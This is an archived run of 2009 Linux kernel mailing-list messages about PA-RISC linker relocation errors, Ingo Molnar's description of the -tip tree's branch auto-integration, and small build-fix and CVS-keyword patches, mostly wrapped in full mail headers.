Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1477>

2009/4/2 Kyle McMartin <kyle@mcmartin.ca>:
> On Wed, Mar 18, 2009 at 10:00:26AM -0400, John David Anglin wrote:
>> > ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot reach
>> > 000000b2_b2:46+4068, recompile with -ffunction-sections
>> > ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
>> > R_PARISC_PCREL12F for .text
>> >
>>
>> -ffunction-sections won't work because GCC doesn't generate calls
>> with instructions that would use a R_PARISC_PCREL12F relocation.
>> This is some kind of conditional branch. =C2=A0Probably, it's in som=
e
>> kernel assembly code.
>>
>> You need to use nm, objdump and/or readelf to determine which file
>> contributing to built-in.o contains the branch. =C2=A0I looked in on=
e of
>> my builds and didn't see this relocation.
>>
>
> This is... somewhat special. I've never seen this either. Possibly I
> should install a Gentoo machine so I can reproduce with their toolcha=
in?
>
> objdump -dr arch/parisc/kernel/built-in.o | grep PCREL12F should tell
> you where the problem is. I agree with JDA, judging by the fact that
> it's the kernel/built-in.o, I would guess it's assembler as well.
Thanks.
now I have

ld: drivers/built-in.o(.devinit.text+0x3f520): cannot reach
00002ea1_memcpy+0, recompile with -ffunction-sections
ld: drivers/built-in.o(.devinit.text+0x3f520): cannot handle
R_PARISC_PCREL17F for memcpy


0003f044 <niu_get_invariants>:
<..>
0003f0ac <.L1724>:
<..>
3f510:       40 bc 01 b0     ldb d8(r5),ret0
3f514:       37 9c 00 02     ldo 1(ret0),ret0
3f518:       60 bc 01 b0     stb ret0,d8(r5)
3f51c:       40 b8 01 e8     ldb f4(r5),r24
3f520:       e8 40 00 00     b,l 3f528 <.L1724+0x47c>,rp
                   3f520: R_PARISC_PCREL17F        memcpy
3f524:       34 ba 02 88     ldo 144(r5),r26
3f528:       e8 5f 04 25     b,l 3e740 <niu_get_and_validate_port>,rp
3f52c:       08 12 02 5a     copy r18,r26
3f530:       c8 7c ae c4     movb,<> ret0,r3,40c98 <.L1884+0x5c>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Fri, 3 Apr 2009 16:15:01 +0200
Lines: 128
Approved: news@gmane.org
Message-ID: <20090403141501.GE8875@elte.hu>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au> <20090401175033.GE1443@bombadil.infradead.org> <20090402223205.e4ab7b5e.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238768156 24725 80.91.229.12 (3 Apr 2009 14:15:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 14:15:56 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	Thomas Gleixner <tglx@linutronix.de>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Uwe Kleine-Koenig <u.kleine-koenig@pengutronix.de>,
	Steven Rostedt <srostedt@redhat.com>,
	linux-kernel@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-next-owner@vger.kernel.org Fri Apr 03 16:17:12 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpkCf-0002wB-5V
	for glkn-linux-next@gmane.org; Fri, 03 Apr 2009 16:17:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755238AbZDCOPi (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Fri, 3 Apr 2009 10:15:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752197AbZDCOPi
	(ORCPT <rfc822;linux-next-outgoing>); Fri, 3 Apr 2009 10:15:38 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:39869 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751394AbZDCOPh (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Fri, 3 Apr 2009 10:15:37 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LpkAj-0005ba-Ns
	from <mingo@elte.hu>; Fri, 03 Apr 2009 16:15:14 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 5C5EC3E2138; Fri,  3 Apr 2009 16:15:00 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090402223205.e4ab7b5e.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6758 gmane.linux.ports.parisc:1478 gmane.linux.kernel:817148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1478>


* Stephen Rothwell <sfr@canb.auug.org.au> wrote:

> Hi Kyle,
> 
> On Wed, 1 Apr 2009 13:50:34 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
> >
> > What's the optimal way to sort out multiple branches in this 
> > tree? Apparently Andrew is cross with me because the rtc-parisc 
> > branch didn't get picked up... Should I put a list of branches 
> > in my kernel.org public_html or something?
> 
> I am not quite sure what you are getting at.  If you have multiple 
> trees (or branches in a tree), I can merge them separately into 
> linux-next - just tell me what they are.

One solution, when there are lots of branches, is what we use in the 
-tip tree to auto-integrate the auto-*-next output branches.

It works like this:

For each output auto-*-next tree (there's 19 at the moment) there's 
a special file under the tip:tip/.tip/auto-branches/ directory.

Say the auto-tracing-next tree is represented via a list of topic 
branches in .tip/auto-branches/auto-tracing-next:

    tracing/core
    tracing/urgent
    tracing/ftrace
    tracing/mmiotrace
    tracing/sysprof
    tracing/nmisafe
    tracing/stack-tracer
    tracing/fastboot
    tracing/markers
    tracing/ring-buffer
    tracing/pipe
    tracing/tracepoints
    tracing/core-v2
    tracing/fastboot-v2
    tracing/core-v3
    tracing/function-return-tracer
    tracing/branch-tracer
    
    # dont know yet:
    # tracing/dump-tracer
    
    tracing/options
    tracing/profiling
    tracing/power-tracer
    tracing/powerpc

    # broken right now:
    # tracing/hw-branch-tracing

    tracing/function-graph-tracer
    tracing/blktrace
    tracing/graph-tracer
    tracing/docs
    tracing/kmemtrace
    tracing/kmemtrace2
    tracing/printk
    tracing/doc
    tracing/syscalls
    tracing/syscalls
    tracing/filters
    tracing/tasks
    tracing/kprobes
    tracing/hw-breakpoints
    tracing/blktrace-v2
    tracing/kmemtrace-v2

When things are quiet and there are no known regressions, i type:

  tip-integrate auto-tracing-next

and soon afterwards a new tree comes out. I dont have to do any 
manual integration, it's all automated, including the cached 
resolution of conflicts. If a new conflict comes up i get a shell 
prompt, fix the conflict, commit it and the integration continues.

If i'm happy with the end result i push it out.

As you can see it above, branches can be annotated and commented 
out. For example this branch:

    # broken right now:
    #tracing/hw-branch-tracing

was causing boot crashes so we excluded it from the 
auto-tracing-next output and linux-next wont crash due to these 
known and under-development problems.

Another branch:

    # dont know yet:
    # tracing/dump-tracer

Is holding commits i'm not sure we want to push upstream yet, so we 
dont push it into linux-next. (linux-next is meant for items that 
are intended for the next cycle.)

There's a similar list of topics for the other integration trees:

 auto-core-next         auto-latest                     auto-stackprotector-next
 auto-cpus4096-next     auto-oprofile-next              auto-timers-next
 auto-fastboot-next     auto-perfcounters-next          auto-tracing-next
 auto-generic-ipi-next  auto-rt-next                    auto-warnings-next
 auto-genirq-next       auto-safe-poison-pointers-next  auto-x86-next
 auto-iommu-next        auto-sched-next
 auto-kmemcheck-next    auto-sparseirq-next

Over 100 topic branches are active typically just before the merge 
window - they go down to below 10 after the merge window. So there's 
a constant ebb and flow in topic activity.

We also have a "tip-integrate-all" script that runs through all the 
-next branches and integrates them.

These tools can be found under the -tip:.tip/bin/ directory - 
there's currently 68 utility scripts there currently, to solve 
various probems all around integration tree maintenance, problems 
which are often not solved by the base Git toolset adequately.

Hope this helps,

	Ingo

From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Fri, 3 Apr 2009 13:58:49 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090403175849.GJ14159@bombadil.infradead.org>
References: <20090403014922.GA28891@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238781556 6572 80.91.229.12 (3 Apr 2009 17:59:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 17:59:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 20:00:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lpngi-0002Ii-MU
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 20:00:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933423AbZDCR6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 13:58:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935112AbZDCR6y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 13:58:54 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34846 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932307AbZDCR6x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 13:58:53 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpnfF-0006qH-Cu; Fri, 03 Apr 2009 17:58:49 +0000
Content-Disposition: inline
In-Reply-To: <20090403014922.GA28891@orion>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1479>

On Fri, Apr 03, 2009 at 05:49:22AM +0400, Alexander Beregalov wrote:
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

I don't feel comfortable removing these for hysterical raisins, unless
people on the list ack this. (Just like I wouldn't remove the "sorry
about the wall" comment... :)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: ccio-dma: fix build failure without procfs
Date: Fri, 3 Apr 2009 13:59:02 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090403175902.GK14159@bombadil.infradead.org>
References: <20090403120854.GA29187@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238781574 6630 80.91.229.12 (3 Apr 2009 17:59:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 17:59:34 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 20:00:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lpnh1-0002Q6-81
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 20:00:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934740AbZDCR7K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 13:59:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934917AbZDCR7J
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 13:59:09 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34855 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934740AbZDCR7H (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 13:59:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpnfS-0006rX-KM; Fri, 03 Apr 2009 17:59:02 +0000
Content-Disposition: inline
In-Reply-To: <20090403120854.GA29187@orion>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1480>

On Fri, Apr 03, 2009 at 04:08:54PM +0400, Alexander Beregalov wrote:
> Fix this build error when CONFIG_PROC_FS is not set:
> drivers/parisc/ccio-dma.c:1574: error: 'ccio_proc_info_fops' undeclared
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

Applied to the fixes branch.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] stifb: should depend on STI_CONSOLE
Date: Fri, 3 Apr 2009 13:59:24 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20090403175924.GL14159@bombadil.infradead.org>
References: <20090403133332.GA29437@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238781648 7051 80.91.229.12 (3 Apr 2009 18:00:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 18:00:48 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 20:02:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lpnhw-0002lw-VL
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 20:01:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934271AbZDCR73 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 13:59:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S935212AbZDCR72
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 13:59:28 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42316 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935104AbZDCR72 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 13:59:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lpnfo-0006sy-6e; Fri, 03 Apr 2009 17:59:24 +0000
Content-Disposition: inline
In-Reply-To: <20090403133332.GA29437@orion>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1481>

On Fri, Apr 03, 2009 at 05:33:32PM +0400, Alexander Beregalov wrote:
> Fix this build error when CONFIG_STI_CONSOLE is not set
> drivers/video/stifb.c:1337: undefined reference to `sti_get_rom'
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

Applied to fixes branch.

Thanks, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Fri, 3 Apr 2009 12:00:04 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20090403180004.GD8014@parisc-linux.org>
References: <20090403014922.GA28891@orion> <20090403175849.GJ14159@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238781708 7331 80.91.229.12 (3 Apr 2009 18:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 18:01:48 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 20:03:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpniH-0002lw-0i
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 20:01:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935318AbZDCSAI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 14:00:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760224AbZDCSAI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 14:00:08 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:36491 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S935318AbZDCSAH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 14:00:07 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 3FEA2494007; Fri,  3 Apr 2009 12:00:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090403175849.GJ14159@bombadil.infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1482>

On Fri, Apr 03, 2009 at 01:58:49PM -0400, Kyle McMartin wrote:
> I don't feel comfortable removing these for hysterical raisins, unless
> people on the list ack this. (Just like I wouldn't remove the "sorry
> about the wall" comment... :)

I appreciate that ;-)

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Sat, 4 Apr 2009 00:09:58 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20090404060958.GA1116@lackof.org>
References: <20090403014922.GA28891@orion> <20090403175849.GJ14159@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238825451 11890 80.91.229.12 (4 Apr 2009 06:10:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Apr 2009 06:10:51 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 04 08:12:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lpz6s-0000fE-E4
	for glpp-linux-parisc@gmane.org; Sat, 04 Apr 2009 08:12:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752390AbZDDGKE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 02:10:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752536AbZDDGKE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 02:10:04 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:59409 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752390AbZDDGKD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 02:10:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id D757033E0169;
	Sat,  4 Apr 2009 00:09:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KGnCxhviZno6; Sat,  4 Apr 2009 00:09:59 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id D89D533E025F; Sat,  4 Apr 2009 00:09:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090403175849.GJ14159@bombadil.infradead.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1483>

On Fri, Apr 03, 2009 at 01:58:49PM -0400, Kyle McMartin wrote:
> On Fri, Apr 03, 2009 at 05:49:22AM +0400, Alexander Beregalov wrote:
> > 
> > Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
> 
> I don't feel comfortable removing these for hysterical raisins, unless
> people on the list ack this.

I don't mind them being removed. The history is preserved else
where for whoever wants to look.  Please add my
	Ack-by: Grant Grundler <grundler@parisc-linux.org>

to whatever parts of this patch you care to accept.

> (Just like I wouldn't remove the "sorry
> about the wall" comment... :)

Sorry, I've no clue about this one...what's the story? :)

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: remove CVS keywords
Date: Sat, 4 Apr 2009 17:38:34 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <7d01f9f00904040838q12533d0r772ef22b10a35b23@mail.gmail.com>
References: <20090403014922.GA28891@orion>
	 <20090403175849.GJ14159@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238859527 25301 80.91.229.12 (4 Apr 2009 15:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Apr 2009 15:38:47 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 04 17:40:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lq7yW-0000YH-HB
	for glpp-linux-parisc@gmane.org; Sat, 04 Apr 2009 17:40:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751866AbZDDPii (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Apr 2009 11:38:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751730AbZDDPii
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 4 Apr 2009 11:38:38 -0400
Original-Received: from mail-bw0-f169.google.com ([209.85.218.169]:35596 "EHLO
	mail-bw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751501AbZDDPih (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Apr 2009 11:38:37 -0400
Original-Received: by bwz17 with SMTP id 17so1320616bwz.37
        for <linux-parisc@vger.kernel.org>; Sat, 04 Apr 2009 08:38:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=hNLVp8xFBVzpWc/b6DYjnB78HvmDmx0giSI4GcjGhks=;
        b=d1ZM90a4h/c7jCXzqCoarFllk+VqML4TjgYwfN5bEgiN61jr8MMggoa0VGFdKLgTSp
         nzWtrVgn7H+Ssa3NPA6mHB4UjexMamOyu6HKNIr2uBwx5WLCXWPWeclDO5m0iXqmpNhB
         r1cNIzogBsN7XWxRUZlxKGL4rODKj2MPhsa1I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=C09d3hKQ0G3823J9DHOZ3fbvNN24jBVd7XKzTdtqCyotNkWuU4oYN/RfJFHQy7DiJD
         a1SSnM3BTyrkUIvwZ63Dcprfr34qrtkK8rcVkSmXaZGIuKu/X71Ebd3T2jU75nLOgT25
         dANh9K9azk8RwBjSfWNFlL++gpF4A4/PAgIR4=
Original-Received: by 10.223.126.69 with SMTP id b5mr2070610fas.34.1238859514708; Sat, 
	04 Apr 2009 08:38:34 -0700 (PDT)
In-Reply-To: <20090403175849.GJ14159@bombadil.infradead.org>
